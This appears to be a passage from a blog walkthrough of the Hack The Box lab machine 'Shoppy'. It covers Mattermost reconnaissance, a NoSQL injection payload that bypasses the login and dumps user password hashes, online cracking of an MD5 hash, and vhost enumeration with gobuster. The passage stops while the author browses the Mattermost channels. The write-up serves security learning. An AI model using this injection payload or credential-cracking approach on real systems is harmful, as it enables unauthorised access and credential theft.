&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftlnsjf1p05eyfm6zrk9q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftlnsjf1p05eyfm6zrk9q.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Version numbers are always good to follow, so I chased the rabbit down the hole and googled the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;playbooks_plugin_system_playbook_instance_info{Version="1.29.1"} 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;According to a few sites, this application is a plugin written in go made to monitor memory usage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://scene-si.org/2018/08/06/basic-monitoring-of-go-apps-with-the-runtime-package/" rel="noopener noreferrer"&gt;After a bit, I found that this is made to monitor Go apps.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(References to &lt;code&gt;alloc&lt;/code&gt; and &lt;code&gt;numGC&lt;/code&gt; are both in the article mentioned above)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/timescale/promscale/blob/master/docs/metrics.md" rel="noopener noreferrer"&gt;I found something else that looks familiar.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjou9ex0kw1hbs7yqsv33.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjou9ex0kw1hbs7yqsv33.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I cross referenced the error with the word "playbook" (because it stood out to me as application specific language), and most of my searches linked back to something called "Mattermost".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fse19lezzmumvzgm4y63s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fse19lezzmumvzgm4y63s.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I felt like I was in the right place since the words "playbook" and "channel" matched up.&lt;/p&gt;

&lt;h2&gt;
  
  
  So what is Mattermost?
&lt;/h2&gt;

&lt;p&gt;Now that I've found what's running, Let's actually take a second to understand what it is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqyzyeu4znnhl1e9ocmod.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqyzyeu4znnhl1e9ocmod.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mattermost seems to be an open source software development solution that allows people to collaborate their efforts without having to pay for a service like Jira, confluence, or any other enterprise level tool. Understanding it's intended purpose will help us understand how to triage it's importance and assess possibly weak points later on. We'll also take note that it's open source, as this may allow us to look through the code for clues on exploitation later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mattermost Playbooks
&lt;/h2&gt;

&lt;p&gt;According to the docs, playbooks are basically crontabs within the scope of Mattermost. Or in their words: &lt;strong&gt;"Build and configure repeatable processes to achieve specific and predictable outcomes."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmcup3urwizczieixx3ke.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmcup3urwizczieixx3ke.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.mattermost.com/playbooks/running-playbooks.html" rel="noopener noreferrer"&gt;Here's more of the documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Why did I take note of this? Any time I see code automatically being run without human interaction, at specific time intervals, or when certain conditions are met, I try to take note of what it takes to trigger that code to see if can edit it, or force it to execute outside of it's typical context, I may be able to gain access to information I'm not privy to. &lt;/p&gt;

&lt;p&gt;Things like stored procedures, cron jobs, or any conditional arguments linked to time based execution are always interesting things to take note of, and it seems like these playlists can  "Build and configure &lt;strong&gt;repeatable processes&lt;/strong&gt; to achieve specific and predictable outcomes."&lt;/p&gt;

&lt;p&gt;&lt;em&gt;After finishing the machine, I noticed that this was not the intended path, but I still wonder if there's something I'd be able to leverage here. Maybe I'll do some testing and discover something new.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Port 80
&lt;/h2&gt;

&lt;p&gt;Let's have a look at port 80.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2eog49949gqtpnx1tyu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2eog49949gqtpnx1tyu.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's a pretty little countdown timer. Let's check &lt;code&gt;robots.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpnfttn37dl2gr97uqf7r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpnfttn37dl2gr97uqf7r.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Editors note: On my first pass, I dismissed this as nothing but an error. I simply figured that this gave no more information than "this page doesn't exist". After some research, I learned that this page &lt;em&gt;does&lt;/em&gt; give me information. I just didn't know what to look for. The "Cannot GET /page" format is actually native to the NodeJS framework. If I had have understood that information earlier, I would have progressed a lot faster on this machine, as this information would soon be crucial to exploitation. If you didn't know this, make sure you keep your eyes peeled for web framework error messages! &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Login
&lt;/h2&gt;

&lt;p&gt;After manually fuzzing the pages, I found the &lt;code&gt;/login&lt;/code&gt; page. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbb3cuh5wr0n19gl4szo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbb3cuh5wr0n19gl4szo.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Whenever I see a login page (presuming no logging is present), I always try simple default credentials, or common ones like variations of &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;admin&lt;/code&gt; and other things like that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmmjce1hgzobr6te0g8w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmmjce1hgzobr6te0g8w.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It seems like this is configured with a strong passphrase, so I won't be able to break it that way.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://shoppy.htb/login?error=WrongCredentials&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0atgvtf1vhfvot54dlp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0atgvtf1vhfvot54dlp.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hm... How do I exploit this?&lt;/p&gt;

&lt;h2&gt;
  
  
  NoSQL injection
&lt;/h2&gt;

&lt;p&gt;Since the backend is written in NodeJS, a good assumption that any backend database is written using a NoSQL DB like MongoDB. With this assumption, we can try to learn how to trigger a NoSQL injection vulnerability. &lt;a href="https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf" rel="noopener noreferrer"&gt;Without going too far in the details&lt;/a&gt;, the difference between the classic SQL injection and it's NoSQL variant is where we're attacking. Since MongoDB is handled at the application level (since MongoDB and NodeJS couple well together), &lt;a href="https://nullsweep.com/a-nosql-injection-primer-with-mongo/" rel="noopener noreferrer"&gt;we're actually attacking the application instead of an independent database.&lt;/a&gt; That's a very high level and broad statement, &lt;a href="https://www.imperva.com/learn/application-security/nosql-injection/#:~:text=While%20SQL%20injection%20executes%20in,string%20into%20an%20API%20call." rel="noopener noreferrer"&gt;but there's more specific information on the internet.&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;After many attempts, I finally found an exploit string that worked for me:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;username=admin' || 'a'=='a&amp;amp;password=hello&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyg6jugs907rb7ymhw7u4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyg6jugs907rb7ymhw7u4.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fql0u2fdinajpvd4c8k8w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fql0u2fdinajpvd4c8k8w.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tested this using Burp Suite, but it's also possible to manually exploit via the login page. Without parameterization, it looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;admin' || 'a'=='a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  /admin
&lt;/h2&gt;

&lt;p&gt;We're now met with the admin interface of the Shoppy app:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff7znl0hqtrrib967ybi7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff7znl0hqtrrib967ybi7.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can click the "search" button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fura9j8hvl37n9603z41y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fura9j8hvl37n9603z41y.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the exploit string from before, we can see all users in the DB:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhkecd6wjyh8clloxrpvo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhkecd6wjyh8clloxrpvo.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since our payload dumps the entire database, we receive the username and password hashes of all of the DB users:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir2le3pykjlqyspnnyjq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir2le3pykjlqyspnnyjq.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"62db0e93d6d6a999a66ee67a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"23c6877d9e2b564ef8b32c3a23de27b2"&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"62db0e93d6d6a999a66ee67b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"josh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; 
     &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"6ebcea65320589ca4f2f1ce039975995"&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since we're already logged in as admin, we'll login to &lt;code&gt;Josh&lt;/code&gt; to see if there's any new information available to us.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identifying the hashes
&lt;/h2&gt;

&lt;p&gt;Before we try logging into the "Josh" user, we'll need to identify which algorithm they use in order to crack them. There are many tools to do this (such as &lt;code&gt;hashid&lt;/code&gt;, &lt;code&gt;hashcat&lt;/code&gt;, and &lt;code&gt;Cyber Chef&lt;/code&gt;), but we can also throw them into any online hash cracker to see if it will do the heavy lifting for us.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnw6u0drldrz5eiwny9x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnw6u0drldrz5eiwny9x.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;6ebcea65320589ca4f2f1ce039975995    md5 remembermethisway
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nice! So we got Josh's password without much hard work. Again, it's important that we understand how to use hashcat, but once we have that basic knowledge, online tools are fairly helpful as well. If you'd like to learn how to use &lt;code&gt;hashcat&lt;/code&gt;, you can read my writeup on &lt;a href=""&gt;Previse&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now that we have the cleartext password, we'll put it in our notes under "found credentials". We'll remember his password this way (Pun intended!)&lt;/p&gt;

&lt;h2&gt;
  
  
  Mattermost
&lt;/h2&gt;

&lt;p&gt;I'm not sure what to do, but I remember Mattermost being on this machine, so I looked at documentation on how to authenticate, and &lt;a href="https://docs.mattermost.com/welcome/sign-in.html" rel="noopener noreferrer"&gt;I found  a page that tells me more about authentication.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Basically, if Mattermost is self hosted, it will most likely be held on a domain that looks like the following: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgg1319wyetm0f8oc10jd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgg1319wyetm0f8oc10jd.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Gobuster
&lt;/h2&gt;

&lt;p&gt;So I'm going to try looking for vhosting using gobuster. (I'll have to look for virtual hosts given that it's on a *.shoppy.htb scheme site)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster vhost -u shoppy.com -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://shoppy.com
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/12/17 16:33:50 Starting gobuster in VHOST enumeration mode
===============================================================

===============================================================
2022/12/17 16:34:34 Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Gobuster turned out to be a bust, but I took a guess and typed &lt;a href="http://mattermost.shoppy.htb/" rel="noopener noreferrer"&gt;http://mattermost.shoppy.htb/&lt;/a&gt; and I got a response back: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh71w9x5mi4c1kdwfuyfi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh71w9x5mi4c1kdwfuyfi.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Mattermost.shoppy.htb
&lt;/h2&gt;

&lt;p&gt;After adding that to the &lt;code&gt;/etc/hosts&lt;/code&gt; file, we get this page:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4nqurxr00j2rep4rtw0l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4nqurxr00j2rep4rtw0l.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's try logging in with the credentials we learned earlier:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5rpaq7db9h6r8gm98po.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5rpaq7db9h6r8gm98po.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Authenticated Mattermost enumeration
&lt;/h2&gt;

&lt;p&gt;Great! Now that we're logged into the environment, we can look around in their messages and learn more about the environment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7915d2n2vk5ufl0f8un4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7915d2n2vk5ufl0f8un4.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Don't forget to log new usernames/accounts in your notes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vju14h1q12dy8zykvnz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vju14h1q12dy8zykvnz.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So far, I see 4 accounts. &lt;/p&gt;

&lt;p&gt;We have Josh, Jess, Jager, and System.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz21vnn5fswec79efei9z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz21vnn5fswec79efei9z.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8r1f26udk079g802low.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8r1f26udk079g802low.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hello sysadmin/CEO!&lt;/p&gt;

&lt;p&gt;This &lt;em&gt;might&lt;/em&gt; be our target later.&lt;/p&gt;

&lt;p&gt;Let's poke around look at the business logic before we try to find exploits.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While messing around with the webapp, I found the dark theme! Feel free to change it if it's more comfortable on your eyes ;)&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Channels
&lt;/h2&gt;

&lt;p&gt;If you're familiar with discord or slack, Mattermost will feel quite familiar to you. &lt;/p&gt;

&lt;p&gt;If you aren't, each tab on the left has different "channels" that discuss various subjects. Each of them focus on a single type of conversation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mnxheywtgqrrkilhxjd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mnxheywtgqrrkilhxjd.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's check out some of their messages.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7h97fjchtwrz28k5zs7y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7h97fjchtwrz28k5zs7y.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Josh and Jaeger talking about the Admin interface. &lt;/p&gt;

